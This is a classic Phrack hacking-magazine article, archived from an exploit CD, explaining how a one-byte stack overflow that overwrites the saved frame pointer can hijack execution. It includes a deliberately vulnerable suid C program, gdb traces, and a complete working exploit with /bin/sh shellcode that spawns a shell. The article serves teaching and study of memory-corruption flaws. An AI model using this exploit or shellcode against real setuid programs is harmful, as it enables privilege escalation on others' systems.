home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / advancedoverflows / p55-08.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  18.7 KB  |  509 lines

  1. -------[  Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 08 of 19  ]
  2.  
  3.  
  4. -------------------------[  The Frame Pointer Overwrite  ]
  5.  
  6.  
  7. --------[  klog <klog@promisc.org>  ]
  8.  
  9.  
  10. ----[  Introduction
  11.  
  12. Buffers can be overflowed, and by overwriting critical data stored in the
  13. target process's address space, we can modify its execution flow.  This is
  14. old news.  This article is not much about how to exploit buffer overflows,
  15. nor does it explain the vulnerability itself.  It just demonstrates it is
  16. possible to exploit such a vulnerability even under the worst conditions,
  17. like when the target buffer can only be overflowed by one byte.  Many other
  18. esoteric techniques where the goal is to exploit trusted processes in
  19. the most hostile situations exist, including when privileges are dropped.
  20. We will only cover the one byte overflow here.
  21.  
  22.  
  23. ----[  The object of our attack
  24.  
  25. Lets write a pseudo vulnerable suid program, which we will call "suid".  It
  26. is written such that only one byte overflows from its buffer.
  27.  
  28.     ipdev:~/tests$ cat > suid.c
  29.     #include <stdio.h>
  30.  
  31.     func(char *sm)
  32.     {
  33.             char buffer[256];
  34.             int i;
  35.             for(i=0;i<=256;i++)
  36.                     buffer[i]=sm[i];
  37.     }
  38.  
  39.     main(int argc, char *argv[])
  40.     {
  41.             if (argc < 2) {
  42.                     printf("missing args\n");
  43.                     exit(-1);
  44.             }
  45.  
  46.             func(argv[1]);
  47.     }
  48.     ^D
  49.     ipdev:~/tests$ gcc suid.c -o suid
  50.     ipdev:~/tests$
  51.  
  52. As you can see, we won't have much space to exploit this program.  In fact, the
  53. overflow is caused only by one byte exceeding the buffer's storage space.  We
  54. will have to use this byte cleverly.  Before exploiting anything, we should
  55. take a look at what this byte really overwrites (you probably already know it,
  56. but hell, who cares). Let's reassemble the stack using gdb, at the moment the
  57. overflow occurs.
  58.  
  59.     ipdev:~/tests$ gdb ./suid
  60.     ...
  61.     (gdb) disassemble func
  62.     Dump of assembler code for function func:
  63.     0x8048134 <func>:       pushl  %ebp
  64.     0x8048135 <func+1>:     movl   %esp,%ebp
  65.     0x8048137 <func+3>:     subl   $0x104,%esp
  66.     0x804813d <func+9>:     nop
  67.     0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
  68.     0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
  69.     0x8048152 <func+30>:    jle    0x8048158 <func+36>
  70.     0x8048154 <func+32>:    jmp    0x804817c <func+72>
  71.     0x8048156 <func+34>:    leal   (%esi),%esi
  72.     0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
  73.     0x804815e <func+42>:    movl   %edx,%eax
  74.     0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
  75.     0x8048166 <func+50>:    movl   0x8(%ebp),%edx
  76.     0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
  77.     0x804816f <func+59>:    movb   (%edx),%cl
  78.     0x8048171 <func+61>:    movb   %cl,(%eax)
  79.     0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
  80.     0x8048179 <func+69>:    jmp    0x8048148 <func+20>
  81.     0x804817b <func+71>:    nop
  82.     0x804817c <func+72>:    movl   %ebp,%esp
  83.     0x804817e <func+74>:    popl   %ebp
  84.     0x804817f <func+75>:    ret
  85.     End of assembler dump.
  86.     (gdb)
  87.  
  88. As we all know, the processor will first push %eip into the stack, as the
  89. CALL instruction requires.  Next, our small program pushes %ebp over it, as
  90. seen at *0x8048134.  Finally, it activates a local frame by decrementing %esp
  91. by 0x104.  This means our local variables will be 0x104 bytes big (0x100 for
  92. the string, 0x004 for the integer).  Please note that the variables are
  93. physically padded to the first 4 bytes, so a 255 byte buffer would take up as
  94. much space as a 256 byte buffer.  We can now tell what our stack looked like
  95. before the overflow occurred:
  96.  
  97.     saved_eip
  98.     saved_ebp
  99.     char buffer[255]
  100.     char buffer[254]
  101.         ...
  102.     char buffer[000]
  103.     int i
  104.  
  105. This means that the overflowing byte will overwrite the saved frame pointer,
  106. which was pushed into the stack at the beginning of func().  But how can this
  107. byte be used to modify the programs execution flow?  Let's take a look at what
  108. happens with %ebp's image.  We already know that it is restored at the end of
  109. func(), as we can see at *0x804817e.  But what next?
  110.  
  111.     (gdb) disassemble main
  112.     Dump of assembler code for function main:
  113.     0x8048180 <main>:       pushl  %ebp
  114.     0x8048181 <main+1>:     movl   %esp,%ebp
  115.     0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
  116.     0x8048187 <main+7>:     jg     0x80481a0 <main+32>
  117.     0x8048189 <main+9>:     pushl  $0x8058ad8
  118.     0x804818e <main+14>:    call   0x80481b8 <printf>
  119.     0x8048193 <main+19>:    addl   $0x4,%esp
  120.     0x8048196 <main+22>:    pushl  $0xffffffff
  121.     0x8048198 <main+24>:    call   0x804d598 <exit>
  122.     0x804819d <main+29>:    addl   $0x4,%esp
  123.     0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
  124.     0x80481a3 <main+35>:    addl   $0x4,%eax
  125.     0x80481a6 <main+38>:    movl   (%eax),%edx
  126.     0x80481a8 <main+40>:    pushl  %edx
  127.     0x80481a9 <main+41>:    call   0x8048134 <func>
  128.     0x80481ae <main+46>:    addl   $0x4,%esp
  129.     0x80481b1 <main+49>:    movl   %ebp,%esp
  130.     0x80481b3 <main+51>:    popl   %ebp
  131.     0x80481b4 <main+52>:    ret
  132.     0x80481b5 <main+53>:    nop
  133.     0x80481b6 <main+54>:    nop
  134.     0x80481b7 <main+55>:    nop
  135.     End of assembler dump.
  136.     (gdb)
  137.  
  138. Great!  After func() has been called, at the end of main(), %ebp will be
  139. restored into %esp, as seen at *0x80481b1.  This means that we can set %esp to
  140. an arbitrary value.  But remember, this arbitrary value is not *really*
  141. arbitrary, since you can only modify the last %esp's byte.  Let's check to see
  142. if we're right.
  143.  
  144.     (gdb) disassemble main
  145.     Dump of assembler code for function main:
  146.     0x8048180 <main>:       pushl  %ebp
  147.     0x8048181 <main+1>:     movl   %esp,%ebp
  148.     0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
  149.     0x8048187 <main+7>:     jg     0x80481a0 <main+32>
  150.     0x8048189 <main+9>:     pushl  $0x8058ad8
  151.     0x804818e <main+14>:    call   0x80481b8 <printf>
  152.     0x8048193 <main+19>:    addl   $0x4,%esp
  153.     0x8048196 <main+22>:    pushl  $0xffffffff
  154.     0x8048198 <main+24>:    call   0x804d598 <exit>
  155.     0x804819d <main+29>:    addl   $0x4,%esp
  156.     0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
  157.     0x80481a3 <main+35>:    addl   $0x4,%eax
  158.     0x80481a6 <main+38>:    movl   (%eax),%edx
  159.     0x80481a8 <main+40>:    pushl  %edx
  160.     0x80481a9 <main+41>:    call   0x8048134 <func>
  161.     0x80481ae <main+46>:    addl   $0x4,%esp
  162.     0x80481b1 <main+49>:    movl   %ebp,%esp
  163.     0x80481b3 <main+51>:    popl   %ebp
  164.     0x80481b4 <main+52>:    ret
  165.     0x80481b5 <main+53>:    nop
  166.     0x80481b6 <main+54>:    nop
  167.     0x80481b7 <main+55>:    nop
  168.     End of assembler dump.
  169.     (gdb) break *0x80481b4
  170.     Breakpoint 2 at 0x80481b4
  171.     (gdb) run `overflow 257`
  172.     Starting program: /home/klog/tests/suid `overflow 257`
  173.  
  174.     Breakpoint 2, 0x80481b4 in main ()
  175.     (gdb) info register esp
  176.     esp            0xbffffd45       0xbffffd45
  177.     (gdb)
  178.  
  179. It seems we were.  After overflowing the buffer by one 'A' (0x41), %ebp is
  180. moved into %esp, which is incremented by 4 since %ebp is poped from the
  181. stack just before the RET.  This gives us 0xbffffd41 + 0x4 = 0xbffffd45.
  182.  
  183.  
  184. ----[  Getting prepared
  185.  
  186. What does changing the stack pointer give us?  We cannot change the saved %eip
  187. value directly like in any conventional buffer overflow exploitation, but we
  188. can make the processor think it is elsewhere.  When the processor returns
  189. from a procedure, it only pops the first word on the stack, guessing it is
  190. the original %eip.  But if we alter %esp, we can make the processor pop any
  191. value from the stack as if it was %eip, and thus changing the execution flow.
  192. Lets project to overflow the buffer using the following string:
  193.  
  194.     [nops][shellcode][&shellcode][%ebp_altering_byte]
  195.  
  196. In order to do this, we should first determine what value we want to alter
  197. %ebp (and thus %esp) with.  Let's take a look at what the stack will look like
  198. when the buffer overflow will have occurred:
  199.  
  200.     saved_eip
  201.     saved_ebp (altered by 1 byte)   
  202.     &shellcode            \
  203.     shellcode             |  char buffer 
  204.     nops                /
  205.     int i
  206.  
  207. Here, we want %esp to point to &shellcode, so that the shellcode's address
  208. will be poped into %eip when the processor will return from main().  Now that
  209. we have the full knowledge of how we want to exploit our vulnerable program,
  210. we need to extract information from the process while running in the context
  211. it will be while being exploited.  This information consists of the address of
  212. the overflowed buffer, and the address of the pointer to our shellcode
  213. (&shellcode).  Let's run the program as if we wanted to overflow it with a 257
  214. bytes string.  In order to do this, we must write a fake exploit which will
  215. reproduce the context in which we exploit the vulnerable process.
  216.  
  217.     (gdb) q
  218.     ipdev:~/tests$ cat > fake_exp.c
  219.     #include <stdio.h>
  220.     #include <unistd.h>
  221.  
  222.     main()
  223.     {
  224.             int i;
  225.             char buffer[1024];
  226.     
  227.             bzero(&buffer, 1024);
  228.             for (i=0;i<=256;i++)    
  229.             {
  230.                     buffer[i] = 'A';
  231.             }
  232.             execl("./suid", "suid", buffer, NULL);
  233.     }
  234.     ^D
  235.     ipdev:~/tests$ gcc fake_exp.c -o fake_exp
  236.     ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
  237.     ...
  238.     (gdb) run
  239.     Starting program: /home/klog/tests/exp2
  240.  
  241.     Program received signal SIGTRAP, Trace/breakpoint trap.
  242.     0x8048090 in ___crt_dummy__ ()
  243.     (gdb) disassemble func
  244.     Dump of assembler code for function func:
  245.     0x8048134 <func>:       pushl  %ebp
  246.     0x8048135 <func+1>:     movl   %esp,%ebp
  247.     0x8048137 <func+3>:     subl   $0x104,%esp
  248.     0x804813d <func+9>:     nop
  249.     0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
  250.     0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
  251.     0x8048152 <func+30>:    jle    0x8048158 <func+36>
  252.     0x8048154 <func+32>:    jmp    0x804817c <func+72>
  253.     0x8048156 <func+34>:    leal   (%esi),%esi
  254.     0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
  255.     0x804815e <func+42>:    movl   %edx,%eax
  256.     0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
  257.     0x8048166 <func+50>:    movl   0x8(%ebp),%edx
  258.     0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
  259.     0x804816f <func+59>:    movb   (%edx),%cl
  260.     0x8048171 <func+61>:    movb   %cl,(%eax)
  261.     0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
  262.     0x8048179 <func+69>:    jmp    0x8048148 <func+20>
  263.     0x804817b <func+71>:    nop
  264.     0x804817c <func+72>:    movl   %ebp,%esp
  265.     0x804817e <func+74>:    popl   %ebp
  266.     0x804817f <func+75>:    ret
  267.     End of assembler dump.
  268.     (gdb) break *0x804813d
  269.     Breakpoint 1 at 0x804813d
  270.     (gdb) c
  271.     Continuing.
  272.  
  273.     Breakpoint 1, 0x804813d in func ()
  274.     (gdb) info register esp
  275.     esp            0xbffffc60       0xbffffc60
  276.     (gdb)
  277.  
  278. Bingo.  We now have %esp just after the func's frame have been activated.
  279. From this value, we can now guess that our buffer will be located at address
  280. 0xbffffc60 + 0x04 (size of 'int i') = 0xbffffc64, and that the pointer to our
  281. shellcode will be placed at address 0xbffffc64 + 0x100 (size of 'char
  282. buffer[256]') - 0x04 (size of our pointer) = 0xbffffd60.
  283.  
  284.  
  285. ----[  Time to attack
  286.  
  287. Having those values will enable us to write a full version of the exploit,
  288. including the shellcode, the shellcode pointer and the overwriting byte.  The
  289. value we need to overwrite the saved %ebp's last byte will be 0x60 - 0x04
  290. = 0x5c since, as you remember, we pop %ebp juste before returning from main().
  291. These 4 bytes will compensate for %ebp being removed from the stack.  As for
  292. the pointer to our shellcode, we don't really need to have it point to an exact
  293. address.  All we need is to make the processor return in the middle of the
  294. nops between the beginning of the overflowed buffer (0xbffffc64) and our
  295. shellcode (0xbffffc64 - sizeof(shellcode)), like in a usual buffer overflow.
  296. Let's use 0xbffffc74.
  297.  
  298.     ipdev:~/tests$ cat > exp.c
  299.     #include <stdio.h>
  300.     #include <unistd.h>
  301.  
  302.     char sc_linux[] =
  303.             "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
  304.             "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
  305.             "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
  306.             "\xd7\xff\xff\xff/bin/sh";
  307.  
  308.     main()
  309.     {
  310.             int i, j;
  311.             char buffer[1024];
  312.  
  313.             bzero(&buffer, 1024);
  314.             for (i=0;i<=(252-sizeof(sc_linux));i++)
  315.             {
  316.                     buffer[i] = 0x90;
  317.             }
  318.             for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
  319.             {
  320.                     buffer[i] = sc_linux[j];
  321.             }
  322.             buffer[i++] = 0x74; /*
  323.                buffer[i++] = 0xfc;  * Address of our buffer
  324.             buffer[i++] = 0xff;  *
  325.             buffer[i++] = 0xbf;  */
  326.             buffer[i++] = 0x5c;
  327.  
  328.             execl("./suid", "suid", buffer, NULL);
  329.  
  330.     }
  331.     ^D
  332.     ipdev:~/tests$ gcc exp.c -o exp
  333.     ipdev:~/tests$ ./exp
  334.     bash$
  335.  
  336. Great!  Let's take a better look at what really happened.  Although we built
  337. our exploit around the theory I just put in this paper, it would be nice
  338. to watch everything get tied together.  You can stop reading right now if
  339. you understood everything explained previously, and start looking for
  340. vulnerabilities.
  341.  
  342.     ipdev:~/tests$ gdb --exec=exp --symbols=suid
  343.     ...
  344.     (gdb) run
  345.     Starting program: /home/klog/tests/exp
  346.  
  347.     Program received signal SIGTRAP, Trace/breakpoint trap.
  348.     0x8048090 in ___crt_dummy__ ()
  349.     (gdb)
  350.  
  351. Let's first put some breakpoints to watch our careful exploitation of our
  352. suid program occur in front of our eyes.  We should try to follow the value of
  353. our overwritten frame pointer until our shellcode starts getting executed.
  354.  
  355.     (gdb) disassemble func
  356.     Dump of assembler code for function func:
  357.     0x8048134 <func>:       pushl  %ebp
  358.     0x8048135 <func+1>:     movl   %esp,%ebp
  359.     0x8048137 <func+3>:     subl   $0x104,%esp
  360.     0x804813d <func+9>:     nop
  361.     0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
  362.     0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
  363.     0x8048152 <func+30>:    jle    0x8048158 <func+36>
  364.     0x8048154 <func+32>:    jmp    0x804817c <func+72>
  365.     0x8048156 <func+34>:    leal   (%esi),%esi    
  366.     0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
  367.     0x804815e <func+42>:    movl   %edx,%eax
  368.     0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
  369.     0x8048166 <func+50>:    movl   0x8(%ebp),%edx
  370.     0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
  371.     0x804816f <func+59>:    movb   (%edx),%cl
  372.     0x8048171 <func+61>:    movb   %cl,(%eax)
  373.     0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
  374.     0x8048179 <func+69>:    jmp    0x8048148 <func+20>
  375.     0x804817b <func+71>:    nop
  376.     0x804817c <func+72>:    movl   %ebp,%esp
  377.     0x804817e <func+74>:    popl   %ebp
  378.     0x804817f <func+75>:    ret
  379.     End of assembler dump.
  380.     (gdb) break *0x804817e
  381.     Breakpoint 1 at 0x804817e
  382.     (gdb) break *0x804817f
  383.     Breakpoint 2 at 0x804817f
  384.     (gdb)
  385.  
  386. Those first breakpoints will enable us to monitor the content of %ebp before
  387. and after being poped from the stack.  These values will correspond to the
  388. original and overwritten values.
  389.  
  390.     (gdb) disassemble main
  391.     Dump of assembler code for function main:
  392.     0x8048180 <main>:       pushl  %ebp
  393.     0x8048181 <main+1>:     movl   %esp,%ebp
  394.     0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
  395.     0x8048187 <main+7>:     jg     0x80481a0 <main+32>
  396.     0x8048189 <main+9>:     pushl  $0x8058ad8
  397.     0x804818e <main+14>:    call   0x80481b8 <_IO_printf>
  398.     0x8048193 <main+19>:    addl   $0x4,%esp
  399.     0x8048196 <main+22>:    pushl  $0xffffffff
  400.     0x8048198 <main+24>:    call   0x804d598 <exit>
  401.     0x804819d <main+29>:    addl   $0x4,%esp
  402.     0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
  403.     0x80481a3 <main+35>:    addl   $0x4,%eax
  404.     0x80481a6 <main+38>:    movl   (%eax),%edx
  405.     0x80481a8 <main+40>:    pushl  %edx
  406.     0x80481a9 <main+41>:    call   0x8048134 <func>
  407.     0x80481ae <main+46>:    addl   $0x4,%esp
  408.     0x80481b1 <main+49>:    movl   %ebp,%esp
  409.     0x80481b3 <main+51>:    popl   %ebp
  410.     0x80481b4 <main+52>:    ret
  411.     0x80481b5 <main+53>:    nop
  412.     0x80481b6 <main+54>:    nop
  413.     0x80481b7 <main+55>:    nop
  414.     End of assembler dump.
  415.     (gdb) break *0x80481b3
  416.     Breakpoint 3 at 0x80481b3
  417.     (gdb) break *0x80481b4
  418.     Breakpoint 4 at 0x80481b4
  419.     (gdb)
  420.  
  421. Here we want to monitor the transfer of our overwritten %ebp to %esp and
  422. the content of %esp until a return from main() occurs.  Let's run the program.
  423.  
  424.     (gdb) c
  425.     Continuing.
  426.  
  427.     Breakpoint 1, 0x804817e in func ()
  428.     (gdb) info reg ebp
  429.     ebp            0xbffffd64       0xbffffd64
  430.     (gdb) c
  431.     Continuing.
  432.  
  433.     Breakpoint 2, 0x804817f in func ()
  434.     (gdb) info reg ebp
  435.     ebp            0xbffffd5c       0xbffffd5c
  436.     (gdb) c
  437.     Continuing.
  438.  
  439.     Breakpoint 3, 0x80481b3 in main ()
  440.     (gdb) info reg esp
  441.     esp            0xbffffd5c       0xbffffd5c
  442.     (gdb) c
  443.     Continuing.
  444.  
  445.     Breakpoint 4, 0x80481b4 in main ()
  446.     (gdb) info reg esp
  447.     esp            0xbffffd60       0xbffffd60
  448.     (gdb)
  449.  
  450. At first, we see the original value of %ebp.  After being poped from the
  451. stack, we can see it being replaced by the one which has been overwritten
  452. by the last byte of our overflowing string, 0x5c.  After that, %ebp is
  453. moved to %esp, and finally, after %ebp is being poped from the stack again,
  454. %esp is incremented by 4 bytes. It gives us the final value of 0xbffffd60.
  455. Let's take a look at what stands there.
  456.  
  457.     (gdb) x 0xbffffd60
  458.     0xbffffd60 <__collate_table+3086619092>:        0xbffffc74
  459.     (gdb) x/10 0xbffffc74
  460.     0xbffffc74 <__collate_table+3086618856>:        0x90909090      
  461.     0x90909090    0x90909090       0x90909090
  462.     0xbffffc84 <__collate_table+3086618872>:        0x90909090      
  463.     0x90909090    0x90909090       0x90909090
  464.     0xbffffc94 <__collate_table+3086618888>:        0x90909090      
  465.     0x90909090
  466.     (gdb)
  467.  
  468. We can see that 0xbffffd60 is the actual address of a pointer pointing in the
  469. middle of the nops just before of our shellcode.  When the processor will
  470. return from main(), it will pop this pointer into %eip, and jump at the exact
  471. address of 0xbffffc74.  This is when our shellcode will be executed.
  472.  
  473.     (gdb) c
  474.     Continuing.
  475.  
  476.     Program received signal SIGTRAP, Trace/breakpoint trap.
  477.     0x40000990 in ?? ()
  478.     (gdb) c
  479.     Continuing.
  480.     bash$ 
  481.  
  482.  
  483. ----[  Conclusions
  484.  
  485. Although the technique seems nice, some problems remain unresolved.
  486. Altering a program's execution flow with only one byte of overwriting data
  487. is, for sure, possible, but under what conditions?  As a matter of fact,
  488. reproducing the exploitation context can be a hard task in a hostile
  489. environment, or worst, on a remote host.  It would require us to guess the
  490. exact stack size of our target process.  To this problem we add the necessity
  491. of our overflowed buffer to be right next to the saved frame pointer, which
  492. means it must be the first variable to be declared in its function.  Needless
  493. to say, padding must also be taken in consideration.  And what about attacking
  494. big endian architectures?  We cannot afford to be only able to overwrite the
  495. most significant byte of the frame pointer, unless we have the ability to
  496. reach this altered address...
  497.  
  498. Conclusions could be drawn from this nearly impossible to exploit situation.
  499. Although I would be surprised to hear of anyone having applied this technique
  500. to a real world vulnerability, it for sure proves us that there is no such
  501. thing as a big or small overflow, nor is there such thing as a big or small
  502. vulnerability.  Any flaw is exploitable, all you need is to find out how.
  503.  
  504. Thanks to: binf, rfp, halflife, route
  505.  
  506.  
  507. ----[  EOF
  508.  
  509.